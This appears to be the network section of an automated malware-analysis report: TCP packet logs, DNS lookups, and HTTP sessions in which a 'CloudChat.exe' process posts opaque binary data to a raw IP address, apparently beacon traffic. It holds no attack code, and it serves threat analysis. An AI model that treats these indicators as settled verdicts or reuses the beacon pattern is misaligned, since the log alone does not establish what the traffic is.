Sep 30, 2024 12:21:11.798348904 CEST	50452	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.798495054 CEST	50453	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.798531055 CEST	443	50453	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.798655987 CEST	50453	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.799675941 CEST	50454	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.799819946 CEST	50453	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.799829006 CEST	443	50453	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.804733038 CEST	80	50407	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.804795980 CEST	50407	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.806389093 CEST	5222	50452	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.806493044 CEST	50452	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.806715965 CEST	50452	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.809720039 CEST	80	50454	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.809784889 CEST	50454	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.809920073 CEST	50454	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.811470032 CEST	5222	50452	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.814824104 CEST	80	50454	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.814872980 CEST	50454	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.820028067 CEST	80	50454	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.823185921 CEST	443	50437	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.823256016 CEST	50437	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.823287964 CEST	50437	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.839400053 CEST	443	50450	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.841481924 CEST	5222	50442	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.841576099 CEST	50442	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.844839096 CEST	80	50451	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.844866991 CEST	5222	50449	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:11.858678102 CEST	50455	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.858716965 CEST	443	50455	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.858792067 CEST	50455	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.859998941 CEST	50455	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.860014915 CEST	443	50455	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.878750086 CEST	443	50439	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.878871918 CEST	50439	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.878879070 CEST	443	50439	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:11.878871918 CEST	50439	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.878945112 CEST	50439	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.922053099 CEST	50452	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.922321081 CEST	50454	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:11.922329903 CEST	50453	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.925102949 CEST	50456	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.925147057 CEST	50457	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.925184965 CEST	443	50457	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.926136971 CEST	50458	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.926208973 CEST	50457	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.927360058 CEST	50457	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.927376032 CEST	443	50457	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.930033922 CEST	5222	50440	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.930088043 CEST	5222	50456	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.930452108 CEST	50441	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.930488110 CEST	50456	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.930988073 CEST	80	50458	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.931046963 CEST	50458	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.931126118 CEST	50456	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.931305885 CEST	80	50410	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.931328058 CEST	50458	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.931358099 CEST	50410	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.932260036 CEST	50440	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.935950041 CEST	5222	50456	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.936135054 CEST	80	50458	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.936197996 CEST	50458	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:11.937071085 CEST	5222	50440	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.937546015 CEST	50440	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:11.941071033 CEST	80	50458	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:11.942481995 CEST	5222	50440	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:11.954596996 CEST	443	50443	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.954690933 CEST	50443	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.954710007 CEST	50443	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:11.963434935 CEST	443	50453	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:11.969616890 CEST	50455	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:11.972820044 CEST	80	50454	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.972836018 CEST	5222	50452	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:11.977396011 CEST	5222	50445	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:11.977480888 CEST	50445	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:11.980864048 CEST	80	50441	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.011405945 CEST	443	50455	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.021416903 CEST	80	50414	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.023037910 CEST	50414	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.033628941 CEST	50440	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.034461975 CEST	50456	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.034650087 CEST	50457	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.035403013 CEST	50458	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.036298037 CEST	443	50446	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.036401987 CEST	50446	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.036401987 CEST	50446	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.036727905 CEST	50459	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.038860083 CEST	5222	50440	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.039015055 CEST	50440	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.041702986 CEST	5222	50459	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.043600082 CEST	50459	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.043937922 CEST	50459	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.045748949 CEST	50461	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.045840979 CEST	50460	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.045876026 CEST	50462	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.045902967 CEST	443	50462	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.045964003 CEST	50462	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.047164917 CEST	50462	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.047180891 CEST	443	50462	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.047219038 CEST	50463	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.048805952 CEST	5222	50459	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.050690889 CEST	80	50461	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.050735950 CEST	5222	50460	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.050761938 CEST	50461	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.050797939 CEST	50460	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.051017046 CEST	50461	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.051253080 CEST	50460	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.052146912 CEST	80	50463	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.052428007 CEST	50463	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.052557945 CEST	50463	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.055820942 CEST	80	50461	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.055877924 CEST	50461	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.056020975 CEST	5222	50460	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.057363033 CEST	80	50463	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.057423115 CEST	50463	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.060698986 CEST	80	50461	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.062413931 CEST	80	50463	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.068464041 CEST	5222	50449	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.068581104 CEST	50449	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.075401068 CEST	443	50457	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.080888033 CEST	80	50458	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:12.080938101 CEST	5222	50456	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:12.083229065 CEST	50464	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.083272934 CEST	443	50464	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.083353043 CEST	50464	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.084573030 CEST	50464	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.084590912 CEST	443	50464	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.120198965 CEST	443	50448	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.120341063 CEST	443	50448	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.120342016 CEST	50448	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.120342016 CEST	50448	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.120450020 CEST	50448	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.130852938 CEST	80	50417	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:12.130928040 CEST	50417	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.145987034 CEST	50460	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.146130085 CEST	50463	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.146471024 CEST	50462	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.148652077 CEST	50465	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.148773909 CEST	50466	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.148812056 CEST	443	50466	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.148871899 CEST	50466	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.149970055 CEST	50467	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.150084972 CEST	50466	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.150100946 CEST	443	50466	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.153619051 CEST	5222	50465	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:12.154845953 CEST	80	50467	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:12.154926062 CEST	50465	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.154990911 CEST	50467	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.155149937 CEST	50467	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.155247927 CEST	50465	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.159938097 CEST	80	50467	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:12.159991980 CEST	50467	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.160065889 CEST	5222	50465	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:12.164803982 CEST	80	50467	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:12.179241896 CEST	443	50450	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.179343939 CEST	50450	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.179987907 CEST	50450	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.187449932 CEST	443	50462	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.192723036 CEST	50464	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.192758083 CEST	80	50463	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.192773104 CEST	5222	50460	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.206048965 CEST	5222	50452	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:12.206276894 CEST	50452	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.239403009 CEST	443	50464	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.240362883 CEST	80	50421	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:12.240416050 CEST	50421	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.256767988 CEST	50465	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.256961107 CEST	50467	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.257041931 CEST	50466	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.258250952 CEST	443	50453	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.258311033 CEST	50453	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.258342981 CEST	50453	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.259500027 CEST	50468	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.259541035 CEST	443	50468	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.259604931 CEST	50468	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.260716915 CEST	50468	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.260729074 CEST	443	50468	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.261254072 CEST	50469	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.262295961 CEST	50470	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.266345024 CEST	5222	50469	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.266402960 CEST	50469	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.266627073 CEST	50469	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.267945051 CEST	80	50470	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.268019915 CEST	50470	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.268157005 CEST	50470	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.271457911 CEST	5222	50469	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.273050070 CEST	80	50470	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.273116112 CEST	50470	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.277919054 CEST	80	50470	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.299412012 CEST	443	50466	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.306035042 CEST	50471	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.306072950 CEST	443	50471	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.306160927 CEST	50471	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.307280064 CEST	50471	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.307296991 CEST	443	50471	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.308770895 CEST	80	50467	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:12.308808088 CEST	5222	50465	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:12.333031893 CEST	80	50424	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.333116055 CEST	50424	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.334888935 CEST	443	50455	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.334976912 CEST	50455	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.335031033 CEST	50455	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.335596085 CEST	5222	50456	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:12.335655928 CEST	50456	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.367311954 CEST	50469	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.367506027 CEST	50470	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.367774010 CEST	50468	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.369635105 CEST	50472	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.369903088 CEST	50473	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.369946957 CEST	443	50473	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.370035887 CEST	50473	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.370763063 CEST	50474	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.371131897 CEST	50473	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.371155024 CEST	443	50473	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.374525070 CEST	5222	50472	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:12.374599934 CEST	50472	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.374850035 CEST	50472	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.375575066 CEST	80	50474	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:12.375634909 CEST	50474	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.375837088 CEST	50474	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.379709005 CEST	5222	50472	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:12.380620003 CEST	80	50474	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:12.380683899 CEST	50474	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.385545969 CEST	80	50474	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:12.412851095 CEST	80	50470	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.412868977 CEST	5222	50469	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.415431976 CEST	443	50468	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.415781975 CEST	50471	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.430511951 CEST	5222	50460	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.430588961 CEST	50460	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.433187962 CEST	443	50457	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.433301926 CEST	50457	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.433382988 CEST	50457	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.459414005 CEST	443	50471	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.473078966 CEST	80	50428	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:12.473175049 CEST	50428	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.479687929 CEST	50472	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.479763985 CEST	50474	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:12.480086088 CEST	50473	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.482295036 CEST	50475	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.482429981 CEST	50476	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.482466936 CEST	443	50476	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.482574940 CEST	50476	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.483603001 CEST	50477	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.483849049 CEST	50476	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.483865023 CEST	443	50476	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.488048077 CEST	5222	50475	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:12.488128901 CEST	50475	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.488342047 CEST	50475	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.491607904 CEST	80	50477	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:12.491688967 CEST	50477	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.491847038 CEST	50477	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.493618965 CEST	5222	50475	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:12.496648073 CEST	80	50477	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:12.496711016 CEST	50477	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.501522064 CEST	80	50477	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:12.524785995 CEST	443	50462	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.524799109 CEST	80	50474	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:12.524808884 CEST	5222	50472	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:12.524880886 CEST	50462	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.524959087 CEST	50462	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.527400970 CEST	443	50473	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.528819084 CEST	50478	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.528907061 CEST	443	50478	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.528987885 CEST	50478	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.530062914 CEST	50478	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.530114889 CEST	443	50478	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.536272049 CEST	5222	50459	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.536634922 CEST	50461	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.537410975 CEST	5222	50465	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:12.537466049 CEST	50459	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.537484884 CEST	50465	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:12.542334080 CEST	5222	50459	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.560642958 CEST	443	50464	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:12.560753107 CEST	50464	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.560753107 CEST	50464	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:12.567508936 CEST	80	50431	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:12.567641020 CEST	50431	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:12.588824034 CEST	80	50461	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:12.590322018 CEST	50475	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.590436935 CEST	50477	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:12.590500116 CEST	50459	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.591483116 CEST	50476	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.592572927 CEST	50479	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:12.592737913 CEST	50480	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.592832088 CEST	443	50480	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:12.592912912 CEST	50480	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:12.593866110 CEST	50481	80	192.168.2.5	139.144.164.103

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 12:20:37.995413065 CEST	192.168.2.5	1.1.1.1	0x6f66	Standard query (0)	gitlab.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:38.071813107 CEST	192.168.2.5	1.1.1.1	0x3a83	Standard query (0)	www.cloudchat.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:46.436400890 CEST	192.168.2.5	1.1.1.1	0x31d5	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 12:20:38.002247095 CEST	1.1.1.1	192.168.2.5	0x6f66	No error (0)	gitlab.com	172.65.251.78	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:38.088912964 CEST	1.1.1.1	192.168.2.5	0x3a83	No error (0)	www.cloudchat.com	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:38.088912964 CEST	1.1.1.1	192.168.2.5	0x3a83	No error (0)	www.cloudchat.com	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:46.444179058 CEST	1.1.1.1	192.168.2.5	0x31d5	No error (0)	httpbin.org	23.21.73.249	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:46.444179058 CEST	1.1.1.1	192.168.2.5	0x31d5	No error (0)	httpbin.org	3.224.110.63	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:46.444179058 CEST	1.1.1.1	192.168.2.5	0x31d5	No error (0)	httpbin.org	34.236.15.216	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:46.444179058 CEST	1.1.1.1	192.168.2.5	0x31d5	No error (0)	httpbin.org	54.159.225.35	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:46.444179058 CEST	1.1.1.1	192.168.2.5	0x31d5	No error (0)	httpbin.org	34.231.0.251	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:20:46.444179058 CEST	1.1.1.1	192.168.2.5	0x31d5	No error (0)	httpbin.org	44.194.234.203	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:36.704819918 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:36.712059975 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 6c 81 86 e6 8d 97 fa 66 54 00 00 00 ed 35 cd ee 1d 85 82 3b 70 1c e0 91 18 51 07 a7 90 90 cf 46 e1 19 3b e4 10 05 06 96 e0 16 5d ad 83 02 00 00 b4 61 67 dc 68 92 02 34 04 c5 d8 5d 08 11 50 d5 1d a3 c1 8a 31 d6 be 8f 87 ee Data Ascii: lfT5;pQF;]agh4]P14eCFF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:37.954790115 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
